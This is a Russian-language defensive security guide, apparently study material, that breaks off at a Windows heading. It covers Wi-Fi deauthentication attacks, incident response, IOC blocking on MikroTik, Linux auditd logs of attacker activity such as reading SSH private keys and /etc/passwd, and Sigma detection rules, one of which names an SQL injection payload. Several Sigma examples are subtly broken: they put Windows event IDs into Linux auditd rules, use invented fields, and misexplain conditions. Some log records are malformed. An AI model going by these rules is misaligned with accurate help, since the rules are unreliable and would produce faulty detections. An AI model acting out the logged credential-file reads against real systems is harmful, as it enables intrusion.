Атака deauthentication (или deauth) — это вид атаки, при которой отправляются пакеты деаутентификации клиентским устройствам или точке доступа (AP), с целью принудительного отключения устройства от Wi-Fi сети. Эта атака может быть использована с различными целями, включая отслеживание устройств, сбор информации о сети или даже проведение других атак, таких как атаки на перехват трафика.

Цели:

• Отключение пользователей. Основная цель атаки Deauth - принудительное отключение пользователей от беспроводной сети.
• Установка MITM-атак. Атака Deauth может использоваться в сочетании с атакой Man-in-the-Middle (MITM). После отключения клиента, злоумышленник может пытаться предоставить фальшивую точку доступа с тем же именем сети (Evil Twin) и перехватывать трафик между клиентом и настоящей точкой доступа
• Идентификация уязвимостей. Атака Deauth может использоваться для идентификации уязвимостей в протоколах аутентификации и управления доступом Wi-Fi.

Принцип работы

• Имитация точки доступа. В некоторых случаях, злоумышленник может создавать свою собственную фальшивую точку доступа с тем же идентификатором сети (SSID) как реальная сеть, чтобы устройства автоматически подключались к ней.
• Отправка пакетов деаутентификации (Deauth Frames). злоумышленник посылает пакеты деаутентификации клиентским устройствам, представляясь точкой доступа.
• Принудительное отключение устройств. Когда устройство получает фрейм деаутентификации, оно теряет связь с точкой доступа и вынуждено повторно аутентифицироваться и подключаться к сети, и в случае использования имитированной фальшивой точки доступа, пользователь может подключиться к сети злоумышленника.

Защита от атаки deauth

• Использование защиты от деаутентификации (Deauthentication Protection). Некоторые точки доступа поддерживают функционал защиты от деаутентификации.
• Мониторинг сетевого трафика может помочь выявить аномалии, связанные с атакой deauth.
• Использование сетей WPA3. Использование последних стандартов безопасности, таких как WPA3, может уменьшить уязвимость к атакам deauth.

Одним из инструментов обнаружения атаки deauth является Deauthentication Detector. Deauthentication Detector использует python-библиотеку Scapy, которая содержит функционал для анализа сетевого трафика. Скрипт анализирует захваченный трафик и выявляет атаку по наличию deauth-пакета в трафике, в wireshark этот пакет будет выглядеть так:

Противодействие во внутренней инфраструктуре

Концепция реагирования (response) относится к действиям, которые команда защиты предпринимает в ответ на обнаружение или подозрение на кибератаку. Основной целью реагирования является минимизация ущерба, выявление и изоляция инцидента, а также восстановление нормального функционирования системы. Ключевые этапы:

1. Подготовка. Проведите оценку рисков и расставьте приоритеты в вопросах безопасности, определите, какие активы являются наиболее чувствительными и на каких критических инцидентах безопасности следует сосредоточить внимание команде. Создайте план коммуникации, задокументируйте роли, обязанности и процессы, а также наберите членов в группу реагирования на киберинциденты (CIRT).
2. Идентификация. Команда должна иметь возможность эффективно выявлять отклонения от нормальной работы в организационных системах, а при обнаружении инцидента собирать дополнительные доказательства, принимать решение о серьезности инцидента и документировать «Кто, Что, Где, Почему». , и как".
3. Сдерживание. Как только команда выявляет инцидент безопасности, ближайшей целью является сдерживание инцидента и предотвращение дальнейшего ущерба: Краткосрочное сдерживание — например, изоляция сегментов сети или отключение зараженных рабочих серверов и выполнение аварийного переключения. Долгосрочное сдерживание — применение временных исправлений к затронутым системам, чтобы их можно было использовать в рабочей среде, при этом восстанавливая чистые системы.
4. Локализация. Команда должна определить основную причину атаки, удалить вредоносное ПО или угрозы и предотвратить подобные атаки в будущем. Например, если была использована уязвимость, ее следует немедленно исправить.
5. Восстановление. Команда тщательно восстанавливает работоспособность затронутых производственных систем, чтобы гарантировать, что не произойдет еще одного инцидента. Важные решения на этом этапе заключаются в том, с какого времени и даты восстанавливать работу, как проверить, что затронутые системы вернулись в нормальное состояние, а также осуществлять мониторинг, чтобы гарантировать возвращение активности в нормальное состояние.
6. Извлеченные уроки. Этот этап следует выполнить не позднее, чем через две недели после окончания инцидента, чтобы обеспечить свежесть информации в памяти команды. Цель этого этапа — завершить документирование инцидента, провести дальнейшее расследование, чтобы определить его полный масштаб, понять, где группа реагирования действовала эффективно, а также области, требующие улучшения.

Блокировка обнаруженных IOC

Блокируется исходящий трафик. Скомпрометированные устройства будут пытаться подключиться к внешнему Command & Control-серверу. 

95% пользовательского трафика в сети — это HTTP/HTTPS. На файерволе по умолчанию разрешаются эти два протокола на выход в интернет. Следует поднять внутренний DNS-сервер, для контроля общение с другими доменам. Отдельные порты, сервисы и протоколы разрешаются точечно.

IP-адрес

Имея IP адрес злоумышленника, он блокируется на фаерволе. Возможно блокировать на конечных устройствах, но это запасной вариант. Пример блокировки возможности взаимодействия с 8.8.8.8 на устройстве MikroTik: 

/ip route add dst-address=8.8.8.8 type=blackhole

Это блокирует маршрут. Бывает используются доменные имена для организации динамической IP адресации.

Доменные имена

Возможно создать собственную одноименную зону и возвращать 127.0.0.1. В логах DNS обнаруживаются другие зараженные ПК. Пример команды на блокировку DNS запросов на Microtik: 

/ip dns static add name=example.com address=127.0.0.1

Можно использовать Regex. В этом документе примеры дополнительных механик блокировок с помощью оборудования MikroTik, а так же альтернативный способ настройки примеров выше через UI.

Название файла / hash файла 

Кроме функционала osquery, альтернативы обнаружения файлов по имени или хеш-сумме инструментами open-source нет. 

Обнаружение после проникновения Linux

Логгирование Linux

Пример анализа журнала аудита для выявления нелегитимной активности на различных этапах атаки.

Этап разведки

Разведка включает в себя сканирование портов, сбор информации о системе и сети. Примеры логов auditd, которые могут указывать на разведывательные действия:

Сканирование портов 
type=SOCKET msg=audit(1625525281.877:123): saddr=192.168.1.100 saddr=192.168.1.200 sport=12345 daddr=192.168.1.2 dport=22

Сбор информации о пользователях и группах

type=USER_AUTH msg=audit(1625525281.877:123): pid=12345 uid=0 auid=1000 ses=2 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 msg='op=PAM:authentication acct="root" exe="/usr/sbin/sshd" hostname=192.168.1.2 addr=192.168.1.3 terminal=ssh res=success'

Лог показывает успешную аутентификацию пользователя с именем пользователя root. Это может быть индикатором попытки получения привилегированного доступа.

type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=16 success=yes exit=0 a0=7ffdf44d1eab a1=0 a2=1 a3=0 items=2 ppid=29942 pid=29943 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=2 comm="whoami" exe="/bin/whoami" key="audit-wazuh-r"

Сбор информации о сетевых подключениях

type=SOCKET msg=audit(1625525281.877:123): saddr=192.168.1.100 saddr=192.168.1.200 sport=12345 daddr=192.168.1.2 dport=80

Сбор информации о файлах и директориях

type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=2 success=yes exit=0 a0=7ffdf44d1eab a1=0 a2=1 a3=0 items=2 ppid=29942 pid=29943 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=2 comm="ls" exe="/bin/ls" key="audit-wazuh-r" name="/etc/passwd" 

Запись указывает на успешное выполнение команды ls, которая пытается получить доступ к файлу /etc/passwd. Это может быть попытка собрать информацию о пользователях и их хэшах паролей.

Поиск SSH ключей

Попытка чтения файла id_rsa
type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=2 success=yes exit=0 a0=7ffdf44d1eab a1=0 a2=1 a3=0 items=2 ppid=29942 pid=29943 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=2 comm="cat" exe="/bin/cat" key="audit-wazuh-r" name="/home/user/.ssh/id_rsa"

Успешное чтение файла id_rsa в домашней директории пользователя. Файл id_rsa обычно содержит закрытый ключ SSH.

Попытка чтения файлов с расширением .pub
type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=2 success=yes exit=0 a0=7ffdf44d1eab a1=0 a2=1 a3=0 items=2 ppid=29942 pid=29943 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=2 comm="ls" exe="/bin/ls" key="audit-wazuh-r" name="/home/user/.ssh/id_rsa.pub"

Попытка просмотра файлов с расширением .pub в директории ~/.ssh. Файлы с таким расширением обычно являются публичными ключами SSH.

Попытка выполнения команды find для поиска ключей
type=EXECVE msg=audit(1625525281.877:123): argc=3 a0="/usr/bin/find" a1="/home/user" a2="-name" a3="*.pub"

Выполнение команды find для поиска файлов с расширением .pub в домашней директории пользователя. Это может быть попытка сканирования домашней директории пользователя на предмет публичных ключей SSH.

Попытка получения доступа к каталогу ~/.ssh
type=PATH msg=audit(1625525281.877:123): item=0 name="/home/user/.ssh" inode=12345 dev=xx:xx mode=040700 ouid=1000 ogid=1000 rdev=00:00 obj=system_u:object_r:user_home_t:s0 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0

Запись указывает на попытку доступа к каталогу ~/.ssh в домашней директории пользователя. Каталог ~/.ssh часто содержит файлы ключей SSH.

Попытка чтения файлов authorized_keys
type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=2 success=yes exit=0 a0=7ffdf44d1eab a1=0 a2=1 a3=0 items=2 ppid=29942 pid=29943 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=2 comm="cat" exe="/bin/cat" key="audit-wazuh-r" name="/home/user/.ssh/authorized_keys"

Успешное чтение файла authorized_keys в домашней директории пользователя. Файл authorized_keys обычно содержит открытые ключи SSH, которые используются для аутентификации пользователей.

Горизонтальное перемещение

Использование SSH для удаленного доступа
type=USER_LOGIN msg=audit(1625525281.877:123): pid=1234 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="root" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=success'

В логе показан успешный вход в систему под учетной записью root через SSH с IP-адреса 192.168.1.100. Если злоумышленник удаленно получил доступ к одной системе, он может использовать этот доступ для перемещения на другие системы внутри сети.

Использование общего ресурса для передачи файла

type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=42 success=yes exit=0 a0=3 a1=0 a2=7ffe392a6e00 a3=0 items=2 ppid=1 pid=1234 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=12345 comm="cp" exe="/bin/cp" key=(null) name="/tmp/malicious_payload.exe"

В логе зафиксировано копирование файла /tmp/malicious_payload.exe с одной системы на другую с помощью команды cp. 

Использование RSH/RCP
type=USER_LOGIN msg=audit(1625525281.877:123): pid=1234 uid=0 auid=1000 ses=1 subj=system_u:system_r:rshd_t:s0-s0:c0.c1023 msg='op=login acct="root" exe="/usr/sbin/rshd" hostname=192.168.1.101 addr=192.168.1.101 terminal=rsh res=success'

В логе зафиксирован вход в систему под учетной записью root через удаленную оболочку (RSH) с IP-адреса 192.168.1.101. Удаленные оболочки могут быть использованы злоумышленниками для горизонтального перемещения по сети.

Использование протокола SMB для доступа к общему ресурсу
type=USER_LOGIN msg=audit(1625525281.877:123): pid=1234 uid=0 auid=1000 ses=1 subj=system_u:system_r:smbd_t:s0-s0:c0.c1023 msg='op=login acct="root" exe="/usr/sbin/smbd" hostname=192.168.1.102 addr=192.168.1.102 terminal=smb res=success'

В этом логе зафиксирован успешный вход в систему под учетной записью root через протокол SMB (Server Message Block) с IP-адреса 192.168.1.102. Злоумышленник может использовать протокол SMB для доступа к общим ресурсам и файлам на других системах в сети.

Инструменты для работы с логами

ausearch

Ausearch — утилита для анализа журналов системы и аудита безопасности. Позволяет искать и анализировать записи в журналах аудита (auditd) на основе различных критериев, таких как время, пользователь, тип события и по другие атрибутам. Подробная информация здесь.

Рассмотрим пример записи в журнале аудита (/var/log/audit/audit.log):

type=USER_AUTH msg=audit(1513159418.705:86): pid=1234 uid=1000 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login id=1000 exe="/usr/sbin/sshd" hostname=192.168.1.10 addr=192.168.1.10 terminal=/dev/pts/0 res=success'
                  

Это типичная запись в журнале аудита, которая содержит различные поля, такие как тип события (type), сообщение (msg), временная метка (audit), идентификатор процесса (pid), идентификатор пользователя (uid), идентификатор аудитируемого пользователя (auid), идентификатор сеанса (ses), подлежащий контекст (subj), и другие метаданные.

Пример использования ausearch для поиска определенной строки в логах:

ausearch -m USER_AUTH
                  

Этот пример ищет все записи в журнале аудита, связанные с аутентификацией пользователя (тип события USER_AUTH).

Если вы хотите искать определенную строку в логах, вы можете использовать ключ -m (или --message), указав текст строки, которую вы хотите найти. Например:

ausearch -m "op=login"
                  

Это команда найдет все записи в журнале аудита, в которых встречается строка "op=login".

Важным ключом ausearch является ключ -i, --interpret, который позволяет выводить информацию в человекочитаемом виде.

Пример записи аудита без использования ключа --interpret:

type=SYSCALL msg=audit(1511449251.972:214): arch=c000003e syscall=2 success=yes exit=0 a0=7fffb352bcf0 a1=0 a2=1 a3=7fffb3529b90 items=2 ppid=11611 pid=11612 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1554 comm="cat" exe="/bin/cat" key=(null)
                  

Тот же самый пример, но с использованием ключа --interpret:

type=SYSCALL msg=audit(1511449251.972:214): arch=c000003e syscall=open success=yes exit=0 a0=7fffb352bcf0 a1=0 a2=1 a3=7fffb3529b90 items=2 ppid=11611 pid=11612 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1554 comm="cat" exe="/bin/cat" key=(null)
                  

При использовании ключа --interpret, числовые значения, такие как syscall=2, были заменены их текстовыми описаниями, в данном случае "syscall=open".

augenrules

augenrules — это утилита, которая используется для обновления файла конфигурации правил аудита. Этот файл определяет правила аудита, которые определяют, какие события должны быть аудиторованы системой аудита Linux.

Когда вы создаете или изменяете правила аудита в системе, вы можете использовать augenrules, чтобы применить эти изменения и обновить файл audit.rules, который используется демоном аудита Linux (auditd). Обычно файл audit.rules хранится в /etc/audit/rules.d/ или /etc/audit/, и augenrules помогает управлять этим файлом с учетом ваших настроек.

Пример использования augenrules может выглядеть так:

augenrules --load
                  

Эта команда загрузит правила аудита из всех файлов конфигурации в /etc/audit/rules.d/ и применит их к текущей конфигурации аудита. Это может быть полезно после внесения изменений в файлы правил, чтобы убедиться, что изменения вступают в силу без перезапуска службы аудита.

Правила Sigma

Sigma — унифицированный формат описания правил детектирования событий на основе данных из логов. Правила хранятся в отдельных YAML-файлах. Sigma позволяет написать правило, используя унифицированный синтаксис, один раз, а затем с помощью специального конвертера получить правило в синтаксисе поддерживаемой SIEM-системы. Также Sigma позволяет создавать запросы, использующие утилиту grep с нужными параметрами, что не требует дополнительных инструментов для парсинга логов.

Синтаксис правил

В каждом правиле есть обязательные и необязательные к заполнению поля, схему правила Sigma можно представить так:

Обязательные поля:

• title — название правила;
• logsource — источник правила;
• detection — определяет параметры, по которым будет срабатывать правило. Одни из возможных вариантов: selection, filter, aggregation, timeframe;
• condition — условие срабатывания правила.

logsource определяет, на события из каких источников будет срабатывать правило. Состав logsource:

• product: указывает на продукт или технологию, откуда поступают логи. Например, "windows" для логов Windows, "linux" для логов Linux, "aws" для логов Amazon Web Services и т. д.
• service: указывает на конкретный сервис или компонент, который генерирует логи внутри продукта. Например, "auditd" для логов аудита в Linux, "sysmon" для логов системы Sysmon в Windows, "apache" для логов веб-сервера Apache и т. д.
• category: дополнительное поле, которое может указывать на категорию логов. Например, "authentication" для логов аутентификации, "network" для сетевых логов и т. д.
• subcategory: дополнительное поле, которое может указывать на подкатегорию логов. Например, "login" для логов входа в систему, "firewall" для логов брандмауэра и т. д.

Например, в logsource можно задать следующие поля:

logsource:
  product: linux
  service: auditd
                  

logsource:
  product: aws
  service: guardduty
                  

detection предназначен для определения условий обнаружения событий или действий, на которые будут срабатывать правила. Список полей:

1. Selections: ключевое поле, в котором описываются условия выбора событий для анализа. Это могут быть различные атрибуты событий, такие как тип события, значения полей событий, ключевые слова в тексте логов и т. д. Например, можно указать определенный тип события или значение поля, которое требуется отслеживать.
   В этом поле можно выделить следующие варианты:
   • EventID: определяет тип события, на которое следует реагировать. Например, в Windows EventID 4625 обозначает неудачную попытку входа в систему.
   • ProcessName: указывает на имя процесса, который сгенерировал событие. Например, "svchost.exe" или "apache2".
   • AccountName: определяет имя учетной записи, с которой связано событие. Это может быть имя пользователя, группы и т. д.
   • IPAddress: определяет IP-адрес, связанный с событием. Это может быть как исходный, так и целевой IP-адрес.
   • DestinationPort: указывает на номер порта, к которому относится событие, например, порт 22 для SSH или порт 80 для HTTP.
   • CommandLine: определяет команду, которая была выполнена в командной строке. Например, в Windows это может быть команда, запущенная с помощью cmd.exe.
   • RegistryKey: указывает на ключ реестра, связанный с событием. Например, "HKLM\Software\Microsoft\Windows\CurrentVersion\Run".
   • ParentProcessName: Определяет имя родительского процесса, который породил событие.
   • BytesTransferred: указывает на количество переданных байтов в результате события, например, при сетевой активности.
   • TargetUserName: определяет целевое имя пользователя, на которое направлено событие.
   • и др.
2. Condition: определяет условие, при котором срабатывает правило. Здесь можно задать логическое выражение, которое должно быть выполнено для того, чтобы правило сработало. Это может быть комбинация различных условий, заданных в блоке Selections, с использованием логических операторов (например, AND, OR).
   • Простое логическое выражение с использованием логических операторов (AND, OR, NOT) для комбинации различных условий:

     Condition: Selection1 AND (Selection2 OR Selection3)
                       

   • Условие наличия: можно указать, что событие должно содержать определенный атрибут или значение:

     Condition: ProcessName IS NOT NULL AND EventID = 4625
                       

   • Условие отсутствия: можно задать условие, что событие не должно содержать определенный атрибут или значение:

     Condition: NOT ProcessName = "svchost.exe"
                       

   • Условие сравнения: можно использовать условия сравнения для сравнения значений атрибутов с определенными значениями:

     Condition: BytesTransferred > 1000000 AND DestinationPort IN [80, 443]
                       

   • Сложные условия: Можно комбинировать различные типы условий для создания более сложных логических выражений:

     Condition: (ProcessName = "cmd.exe" AND CommandLine CONTAINS "net user") OR (EventID = 4625 AND Outcome = FAILURE)
                       

Если в поле condition указано true, правило будет срабатывать на любое событие, которое соответствует критериям, указанным в блоке detection. При таком условии правило будет применяться без дополнительных ограничений и будет срабатывать на каждое событие, которое соответствует заданным критериям.
Например, если блок detection содержит несколько условий выбора событий, но в поле condition указано true, это означает, что правило будет срабатывать на любое событие, которое удовлетворяет хотя бы одному из условий выбора.
В этом примере правило будет срабатывать на любое событие с EventID 4625 или 4634, так как в поле condition указано true, что означает применение правила без дополнительных условий:

detection:
  Selection1:
    EventID: 4625
  Selection2:
    EventID: 4634
  Condition: true
                  

Дополнительные поля:

• False Positives: можно указать предполагаемые ложные срабатывания данного правила. Это позволяет аналитикам и инженерам безопасности учитывать потенциальные ложные срабатывания и проводить дополнительный анализ для их исключения.
• Level: указывает на уровень критичности события, при котором правило срабатывает. Обычно используются уровни low (низкий), medium (средний), high (высокий)
• Grouping Logic: некоторые правила могут иметь дополнительные поля для определения логики группировки событий. Например, можно указать, что правило должно срабатывать только в случае, если определенное количество событий произошло в определенном временном интервале или если определенные условия были выполнены несколько раз подряд.

Примеры блоков detection

Блок Detection для обнаружения подозрительной активности в логах аутентификации

detection:
  Selection:
    EventID: 4625
    AccountName: ["Administrator", "root"]
    Outcome: FAILURE
  Condition: true
  FalsePositives:
    - Expected administrative login failures during maintenance windows.
  Level: medium
                  

В этом примере правило будет срабатывать, если произошло событие аутентификации с идентификатором 4625 (попытка входа в систему), имя пользователя равно "Administrator" или "root", и результат попытки входа — FAILURE. Условие Condition: true указывает, что правило будет срабатывать на все события, удовлетворяющие критериям блока Selection. Уровень критичности установлен на средний, и указаны ложные срабатывания.

Блок Detection для обнаружения необычного сетевого трафика

detection:
  Selection:
    EventType: NETWORK
    Protocol: TCP
    DestinationPort: [22, 3389, 5900]
    BytesTransferred: ">1000000"
  Condition: true
  FalsePositives:
    - Expected high-volume traffic during data transfers.
  Level: high
                  

В этом примере правило будет срабатывать на сетевые события типа NETWORK с использованием протокола TCP и с направленным портом 22, 3389 или 5900, а также с объемом переданных данных более 1 МБ. Условие Condition: true указывает, что правило будет срабатывать на все события, удовлетворяющие критериям блока Selection. Уровень критичности установлен на высокий, и указаны ложные срабатывания.

Блок Detection для обнаружения попыток SQL-инъекций

detection:
  Selection:
    EventType: APPLICATION
    ProcessName: ["sqlserver.exe", "mysql.exe", "postgresql.exe"]
    CommandLine: "*' OR 1=1 --"
  Condition: true
  FalsePositives:
    - Legitimate use of special characters in database queries.
  Level: medium
                  

В этом примере правило будет срабатывать на события типа APPLICATION с процессами sqlserver.exe, mysql.exe или postgresql.exe, в которых встречается подозрительная команда "*' OR 1=1 --" в командной строке. Условие Condition: true указывает, что правило будет срабатывать на все события, удовлетворяющие критериям блока Selection. Уровень критичности установлен на средний, и указаны ложные срабатывания.

Примеры правил

Множественные неудачные попытки входа

Рассмотрим пример правила для auditd, которое будет срабатывать после 5 неудачных попыток логина под учетной записью "admin" в течение 5 минут: 

title: Detect 5 Failed Login Attempts for "admin" in Linux Auditd
description: Detects 5 consecutive failed login attempts for the user "admin" in Linux auditd logs.
tags:
  - linux
  - auditd
  - login
logsource:
    product: linux
    service: auditd
detection:
  Selection:
    EventID: 4625
    UserName: admin
    Outcome: FAILURE
    Count: 5
    Consecutive: true
    Window: 5m
                  

Поле detection

• Selection: общий блок, который содержит набор событий;
• EventID: идентификатор события, связанный с неудачной попыткой входа (4625);
• UserName: имя пользователя, которое мы хотим отследить (admin);
• Outcome: результат попытки входа (FAILURE);
• Count: количество событий (5 попыток);
• Consecutive: указывает, что события должны быть последовательными (true);
• Window: временное окно, в пределах которого должны произойти события (5 минут).

На что срабатывает правило

Пример неудачной попытки входа:

type=USER_AUTH msg=audit(1485911400.972:318): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed'
                  

Пример успешного входа:

type=USER_AUTH msg=audit(1485911400.972:318): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=success'
                  

Для срабатывания правила, нужно обнаружить пять последовательных неудачных попыток входа.

type=USER_AUTH msg=audit(1485911400.972:318): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed'
type=USER_AUTH msg=audit(1485911401.972:319): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed'
type=USER_AUTH msg=audit(1485911402.972:320): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed'
type=USER_AUTH msg=audit(1485911403.972:321): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed'
type=USER_AUTH msg=audit(1485911404.972:322): pid=3662 uid=0 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login acct="admin" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=failed'
                  

Правило, срабатывающее при сборе информации о системе

title: System Information Discovery - Auditd
id: f34047d9-20d3-4e8b-8672-0a35cc50dc71
status: test
description: Detects System Information Discovery commands
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1082/T1082.md
author: Pawel Mazur
date: 2021/09/03
modified: 2023/03/06
tags:
    - attack.discovery
    - attack.t1082
logsource:
    product: linux
    service: auditd
detection:
    selection_1:
        type: PATH
        name:
            - /etc/lsb-release
            - /etc/redhat-release
            - /etc/issue
    selection_2:
        type: EXECVE
        a0:
            - uname
            - uptime
            - lsmod
            - hostname
            - env
    selection_3:
        type: EXECVE
        a0: grep
        a1|contains:
            - vbox
            - vm
            - xen
            - virtio
            - hv
    selection_4:
        type: EXECVE
        a0: kmod
        a1: list
    condition: 1 of selection_*
falsepositives:
    - Likely
level: low
                  

Поле detection

Блок detection содержит 4 разных поля selection, каждое из которых определяет разные методы и инструменты, используемые для обнаружения информации о системе:

• selection_1: попытки доступа к файлам с информацией о версии операционной системы, такими как /etc/lsb-release, /etc/redhat-release, /etc/issue.
• selection_2: команды, запускаемые с помощью execve, которые могут выдавать информацию о системе, такие как uname, uptime, lsmod, hostname, env.
• selection_3: попытки использования команды grep с определенными аргументами, которые могут указывать на присутствие виртуальной среды, такие как vbox, vm, xen, virtio, hv.
• selection_4: команда kmod list, которая может быть использована для получения списка загруженных модулей ядра.
• condition: 1 of selection_* указывает, что правило будет срабатывать, если совпадет любое событие из полей selection выше.

На что может сработать это правило

Доступ к файлу с информацией о версии операционной системы:

type=SYSCALL msg=audit(1485911400.972:318): arch=c000003e syscall=2 success=yes exit=3 a0=7fff39e3a410 a1=0 a2=1b6 a3=7fff39e38880 items=2 ppid=3661 pid=3662 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="cat" exe="/bin/cat" key=(null)
type=CWD msg=audit(1485911400.972:318):  cwd="/home/user"
type=PATH msg=audit(1485911400.972:318): item=0 name="/etc/lsb-release" inode=1577883 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:etc_t:s0 objtype=NORMAL
type=PATH msg=audit(1485911400.972:318): item=1 name="/lib/x86_64-linux-gnu/libc.so.6" inode=1577547 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:libc_so_6_t:s0 objtype=NORMAL
                  

Запуск команды с информацией о системе:

type=EXECVE msg=audit(1614005988.958:1032): argc=2 a0="uname" a1="-a"
type=CWD msg=audit(1614005988.958:1032):  cwd="/home/user"
type=PATH msg=audit(1614005988.958:1032): item=0 name="/bin/uname" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL
                  

Использование команды grep для поиска информации о виртуальной среде:

type=EXECVE msg=audit(1614005988.958:1032): argc=3 a0="grep" a1="-i" a2="vm"
type=CWD msg=audit(1614005988.958:1032):  cwd="/home/user"
type=PATH msg=audit(1614005988.958:1032): item=0 name="/bin/grep" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL
                  

Использование команды kmod list для получения списка загруженных модулей ядра:

type=EXECVE msg=audit(1614005988.958:1032): argc=2 a0="kmod" a1="list"
type=CWD msg=audit(1614005988.958:1032):  cwd="/home/user"
type=PATH msg=audit(1614005988.958:1032): item=0 name="/sbin/kmod" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:sbin_t:s0 objtype=NORMAL
                  

Запуск команды, такой как uptime, для получения информации о системе:

type=EXECVE msg=audit(1614005988.958:1032): argc=1 a0="uptime"
type=CWD msg=audit(1614005988.958:1032):  cwd="/home/user"
type=PATH msg=audit(1614005988.958:1032): item=0 name="/usr/bin/uptime" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL

Передача исполняемого .exe файла на общий ресурс

title: Detection of Executable File Transfer to File Resource
description: Detects the transfer of an executable file to a file resource in Linux auditd logs.
tags:
  - linux
  - auditd
  - file_transfer
logsource:
  product: linux
  service: auditd
detection:
  Selection:
    EventID: CWD
    objtype: FILE
    objname|endswith: ".exe"
  Condition: path == "/opt/staff/"
                  

Поле detection

• Selection: Блок, указывающий на выбор событий для анализа.
• EventID: Идентификатор события (CWD - изменение текущего рабочего каталога).
• objtype: Тип объекта (FILE).
• objname|endswith: Имя объекта заканчивается на ".exe"
• Condition: Условие, при котором срабатывает правило. В данном случае проверяется, что путь (path) файла - это /opt/staff/ (path == "/opt/staff/")

На что может сработать это правило

Передача файла с расширением ".exe" в каталог "/opt/staff/"

type=CWD msg=audit(1614005988.958:1032):  cwd="/opt/staff"
type=PATH msg=audit(1614005988.958:1032): item=0 name="/opt/staff/file.exe" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:file_t:s0 objtype=NORMAL
                  

Передача нескольких файлов с расширением ".exe" в каталог "/opt/staff/"

type=CWD msg=audit(1614005988.958:1032):  cwd="/opt/staff"
type=PATH msg=audit(1614005988.958:1032): item=0 name="/opt/staff/file1.exe" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:file_t:s0 objtype=NORMAL
type=CWD msg=audit(1614005988.958:1032):  cwd="/opt/staff"
type=PATH msg=audit(1614005988.958:1032): item=0 name="/opt/staff/file2.exe" inode=2036786 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:file_t:s0 objtype=NORMAL
                  

Передача файла с расширением ".exe" в каталог "/opt/staff/", но без события изменения текущего рабочего каталога:

type=PATH msg=audit(1614005988.958:1032): item=0 name="/opt/staff/file.exe" inode=2036785 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:file_t:s0 objtype=NORMAL

Обнаружение после проникновения Windows

Разведка

